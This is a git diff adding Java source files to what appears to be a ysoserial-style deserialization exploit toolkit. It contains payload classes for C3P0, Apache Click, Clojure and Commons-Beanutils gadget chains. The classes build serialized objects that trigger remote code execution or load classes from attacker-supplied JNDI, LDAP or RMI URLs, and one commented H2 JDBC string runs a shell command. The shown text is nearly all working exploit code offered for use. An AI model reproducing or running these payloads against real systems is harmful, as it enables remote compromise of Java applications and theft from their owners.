||||
public PrintWriter getLogWriter() throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setLogWriter(PrintWriter out) throws SQLException {
|
||||
}
|
||||
|
||||
public int getLoginTimeout() throws SQLException {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public void setLoginTimeout(int seconds) throws SQLException {
|
||||
}
|
||||
|
||||
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection() throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||
import com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
|
||||
import javax.naming.NamingException;
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
import java.io.PrintWriter;
|
||||
import java.sql.SQLException;
|
||||
import java.sql.SQLFeatureNotSupportedException;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
|
||||
/**
|
||||
* C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
|
||||
*/
|
||||
|
||||
@Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class C3P092 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
int sep = command.lastIndexOf(':');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
||||
}
|
||||
|
||||
String url = command.substring(0, sep);
|
||||
String className = command.substring(sep + 1);
|
||||
|
||||
// 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID
|
||||
|
||||
ClassPool pool = new ClassPool();
|
||||
pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource")));
|
||||
final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource");
|
||||
|
||||
ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;");
|
||||
|
||||
// mock method name until armed
|
||||
final Class clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new SuClassLoader());
|
||||
|
||||
Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource);
|
||||
Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private String className;
|
||||
|
||||
private String url;
|
||||
|
||||
public PoolSource(String className, String url) {
|
||||
this.className = className;
|
||||
this.url = url;
|
||||
}
|
||||
|
||||
public Reference getReference() throws NamingException {
|
||||
return new Reference("exploit", this.className, this.url);
|
||||
}
|
||||
|
||||
public PrintWriter getLogWriter() throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setLogWriter(PrintWriter out) throws SQLException {
|
||||
}
|
||||
|
||||
public int getLoginTimeout() throws SQLException {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public void setLoginTimeout(int seconds) throws SQLException {
|
||||
}
|
||||
|
||||
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection() throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.alibaba.fastjson.JSONArray;
|
||||
import com.mchange.v2.c3p0.ComboPooledDataSource;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
|
||||
@Authors({Authors.Unam4})
|
||||
public class C3P0JDBC implements ObjectPayload<Object> {
|
||||
//private static String cmd = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
|
||||
// "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
|
||||
// "java.lang.Runtime.getRuntime().exec('open -a calculator')\n" +
|
||||
// "$$\n";
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
if (!command.toLowerCase().startsWith("jdbc:")) {
|
||||
throw new Exception("Command format is: eviljdbcurl");
|
||||
}
|
||||
|
||||
ComboPooledDataSource o = new ComboPooledDataSource();
|
||||
o.setJdbcUrl(command);
|
||||
o.setMaxIdleTime(1);
|
||||
o.setMaxPoolSize(1);
|
||||
|
||||
JSONArray jsonArray = new JSONArray();
|
||||
jsonArray.add(o);
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, jsonArray);
|
||||
|
||||
HashMap hashMap = new HashMap();
|
||||
hashMap.put(o, val);
|
||||
return hashMap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.alibaba.fastjson.JSONArray;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
|
||||
@Authors({Authors.Unam4})
|
||||
public class C3P0JNDI implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
if (command.toLowerCase().startsWith("jndi:")) {
|
||||
command = command.substring(5);
|
||||
}
|
||||
|
||||
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
|
||||
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
|
||||
}
|
||||
|
||||
Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
|
||||
Reflections.setFieldValue(o,"jndiName",command);
|
||||
Reflections.setFieldValue(o,"identityToken","exp");
|
||||
JSONArray jsonArray = new JSONArray();
|
||||
jsonArray.add(o);
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, jsonArray);
|
||||
|
||||
HashMap hashMap = new HashMap();
|
||||
hashMap.put(o, val);
|
||||
return hashMap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.alibaba.fastjson.JSONArray;
|
||||
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
|
||||
@Authors({Authors.Unam4})
|
||||
public class C3P0JNDI2 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
if (command.toLowerCase().startsWith("jndi:")) {
|
||||
command = command.substring(5);
|
||||
}
|
||||
|
||||
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
|
||||
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
|
||||
}
|
||||
|
||||
JndiRefConnectionPoolDataSource o = new JndiRefConnectionPoolDataSource();
|
||||
o.setJndiName(command);
|
||||
JSONArray jsonArray = new JSONArray();
|
||||
jsonArray.add(o);
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, jsonArray);
|
||||
|
||||
HashMap hashMap = new HashMap();
|
||||
hashMap.put(o, val);
|
||||
return hashMap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
public class C3P0RefDataSource implements ObjectPayload{
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
// Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource"));
|
||||
// // requires ordering
|
||||
// Reflections.setFieldValue(obj, "jndiName", command);
|
||||
// Reflections.setFieldValue(obj, "loginTimeout", 0);
|
||||
// return obj;
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.codec.binary.Hex;
|
||||
|
||||
import javax.naming.Name;
|
||||
import javax.naming.Reference;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.net.URI;
|
||||
import java.util.Hashtable;
|
||||
|
||||
public class C3P0WrapperConnPool implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
URI uri = new URI(command);
|
||||
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
|
||||
WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class);
|
||||
Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[ 0 ], args[ 1 ]));
|
||||
return obj;
|
||||
}
|
||||
|
||||
public static String makeC3P0UserOverridesString ( String codebase, String clazz ) throws ClassNotFoundException, NoSuchMethodException,
|
||||
InstantiationException, IllegalAccessException, InvocationTargetException, IOException {
|
||||
ByteArrayOutputStream b = new ByteArrayOutputStream();
|
||||
try ( ObjectOutputStream oos = new ObjectOutputStream(b) ) {
|
||||
Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$
|
||||
Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
|
||||
con.setAccessible(true);
|
||||
Reference jndiref = new Reference("Foo", clazz, codebase);
|
||||
Object ref = con.newInstance(jndiref, null, null, null);
|
||||
oos.writeObject(ref);
|
||||
}
|
||||
|
||||
return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.click.control.Column;
|
||||
import org.apache.click.control.Table;
|
||||
|
||||
import java.math.BigInteger;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
/**
|
||||
* Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
|
||||
* We use java.util.PriorityQueue to trigger ColumnComparator.compare().
|
||||
* After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
|
||||
* <p>
|
||||
* Chain:
|
||||
* <p>
|
||||
* java.util.PriorityQueue.readObject()
|
||||
* java.util.PriorityQueue.heapify()
|
||||
* java.util.PriorityQueue.siftDown()
|
||||
* java.util.PriorityQueue.siftDownUsingComparator()
|
||||
* org.apache.click.control.Column$ColumnComparator.compare()
|
||||
* org.apache.click.control.Column.getProperty()
|
||||
* org.apache.click.control.Column.getProperty()
|
||||
* org.apache.click.util.PropertyUtils.getValue()
|
||||
* org.apache.click.util.PropertyUtils.getObjectPropertyValue()
|
||||
* java.lang.reflect.Method.invoke()
|
||||
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
|
||||
* ...
|
||||
* <p>
|
||||
* Arguments:
|
||||
* - command to execute
|
||||
* <p>
|
||||
* Yields:
|
||||
* - RCE via TemplatesImpl.getOutputProperties()
|
||||
* <p>
|
||||
* Requires:
|
||||
* - Apache Click
|
||||
* - servlet-api of any version
|
||||
* <p>
|
||||
* by @artsploit
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
|
||||
@Authors({Authors.ARTSPLOIT})
|
||||
public class Click1 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
// prepare a Column.comparator with mock values
|
||||
final Column column = new Column("lowestSetBit");
|
||||
column.setTable(new Table());
|
||||
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
|
||||
|
||||
// create queue with numbers and our comparator
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
// stub data for replacement later
|
||||
queue.add(new BigInteger("1"));
|
||||
queue.add(new BigInteger("1"));
|
||||
|
||||
// switch method called by the comparator,
|
||||
// so it will trigger getOutputProperties() when objects in the queue are compared
|
||||
column.setName("outputProperties");
|
||||
|
||||
// finally, we inject and new TemplatesImpl object into the queue,
|
||||
// so its getOutputProperties() method will be called
|
||||
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
queueArray[0] = template;
|
||||
return queue;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import clojure.core$comp;
|
||||
import clojure.core$constantly;
|
||||
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
|
||||
import clojure.lang.PersistentArrayMap;
|
||||
import clojure.main$eval_opt;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.clojure.ClojureUtil;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES;
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* ObjectInputStream.readObject()
|
||||
* HashMap.readObject()
|
||||
* AbstractTableModel$ff19274a.hashCode()
|
||||
* clojure.core$comp$fn__4727.invoke()
|
||||
* clojure.core$constantly$fn__4614.invoke()
|
||||
* clojure.main$eval_opt.invoke()
|
||||
* <p>
|
||||
* Requires:
|
||||
* org.clojure:clojure
|
||||
* Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
|
||||
*/
|
||||
|
||||
@Dependencies({"org.clojure:clojure:1.8.0"})
|
||||
@Authors({JACKOFMOSTTRADES})
|
||||
public class Clojure implements ObjectPayload<Map<?, ?>> {
|
||||
|
||||
public Map<?, ?> getObject(String command) throws Exception {
|
||||
String clojurePayload = ClojureUtil.makeClojurePayload(command);
|
||||
Map<String, Object> fnMap = new HashMap<>();
|
||||
fnMap.put("hashCode", (new core$constantly()).invoke(0));
|
||||
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
|
||||
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
|
||||
HashMap<Object, Object> targetMap = new HashMap<>();
|
||||
targetMap.put(model, null);
|
||||
fnMap.put("hashCode", (new core$comp())
|
||||
.invoke(new main$eval_opt(), (new core$constantly())
|
||||
.invoke(clojurePayload)));
|
||||
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
|
||||
return targetMap;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
|
||||
@Authors({Authors.FROHOFF})
|
||||
public class CommonsBeanutils1 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
|
||||
public class CommonsBeanutils1183NOCC implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator");
|
||||
|
||||
insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
|
||||
|
||||
Class beanCompareClazz = ctClass.toClass();
|
||||
BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance();
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
|
||||
// switch method called by comparator
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.CtClass;
|
||||
|
||||
import java.math.BigInteger;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
|
||||
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
|
||||
public class CommonsBeanutils2183NOCC implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates = Gadgets.createTemplatesImpl(command);
|
||||
// 修改BeanComparator类的serialVersionUID
|
||||
POOL.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
|
||||
final CtClass ctBeanComparator = POOL.get("org.apache.commons.beanutils.BeanComparator");
|
||||
|
||||
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
|
||||
|
||||
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
|
||||
setFieldValue(comparator, "property", "lowestSetBit");
|
||||
PriorityQueue<Object> queue = new PriorityQueue(2, comparator);
|
||||
queue.add(new BigInteger("1"));
|
||||
queue.add(new BigInteger("1"));
|
||||
setFieldValue(comparator, "property", "outputProperties");
|
||||
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||
queueArray[0] = templates;
|
||||
queueArray[1] = templates;
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-logging:commons-logging:1.2"})
|
||||
public class CommonsBeanutils2NOCC implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
// 修改BeanComparator类的serialVersionUID
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
|
||||
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
|
||||
|
||||
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
|
||||
|
||||
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
|
||||
Reflections.setFieldValue(comparator, "property", null);
|
||||
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
|
||||
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
// stub data for replacement later
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates});
|
||||
ctBeanComparator.defrost();
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.rowset.JdbcRowSetImpl;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import java.math.BigInteger;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1"})
|
||||
public class CommonsBeanutils3 implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
String jndiURL = null;
|
||||
if (command.toLowerCase().startsWith("jndi:")) {
|
||||
jndiURL = command.substring(5);
|
||||
}
|
||||
|
||||
BeanComparator comparator = new BeanComparator("lowestSetBit");
|
||||
JdbcRowSetImpl rs = new JdbcRowSetImpl();
|
||||
rs.setDataSourceName(jndiURL);
|
||||
rs.setMatchColumn("QI4L");
|
||||
PriorityQueue queue = new PriorityQueue(2, comparator);
|
||||
|
||||
queue.add(new BigInteger("1"));
|
||||
queue.add(new BigInteger("1"));
|
||||
|
||||
Reflections.setFieldValue(comparator, "property", "databaseMetaData");
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{rs, rs});
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||
import com.sun.rowset.JdbcRowSetImpl;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.CtClass;
|
||||
|
||||
import java.math.BigInteger;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
|
||||
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
|
||||
public class CommonsBeanutils3183 implements ObjectPayload<Object>{
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
String jndiURL = null;
|
||||
if (command.toLowerCase().startsWith("jndi:")) {
|
||||
jndiURL = command.substring(5);
|
||||
}
|
||||
|
||||
POOL.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
|
||||
final CtClass ctBeanComparator = POOL.get("org.apache.commons.beanutils.BeanComparator");
|
||||
|
||||
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
|
||||
|
||||
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
|
||||
Reflections.setFieldValue(comparator, "property", null);
|
||||
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
|
||||
|
||||
JdbcRowSetImpl rs = new JdbcRowSetImpl();
|
||||
rs.setDataSourceName(jndiURL);
|
||||
rs.setMatchColumn("su18");
|
||||
PriorityQueue queue = new PriorityQueue(2, comparator);
|
||||
|
||||
queue.add(new BigInteger("1"));
|
||||
queue.add(new BigInteger("1"));
|
||||
Reflections.setFieldValue(comparator, "property", "databaseMetaData");
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{rs, rs});
|
||||
|
||||
ctBeanComparator.defrost();
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
|
||||
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
|
||||
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
|
||||
@Authors({"水滴"})
|
||||
public class CommonsBeanutilsAttrCompare implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
AttrNSImpl attrNS1 = new AttrNSImpl();
|
||||
CoreDocumentImpl coreDocument = new CoreDocumentImpl();
|
||||
attrNS1.setValues(coreDocument, "1", "1", "1");
|
||||
|
||||
BeanComparator beanComparator = new BeanComparator(null, new AttrCompare());
|
||||
|
||||
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
|
||||
|
||||
queue.add(attrNS1);
|
||||
queue.add(attrNS1);
|
||||
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
|
||||
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
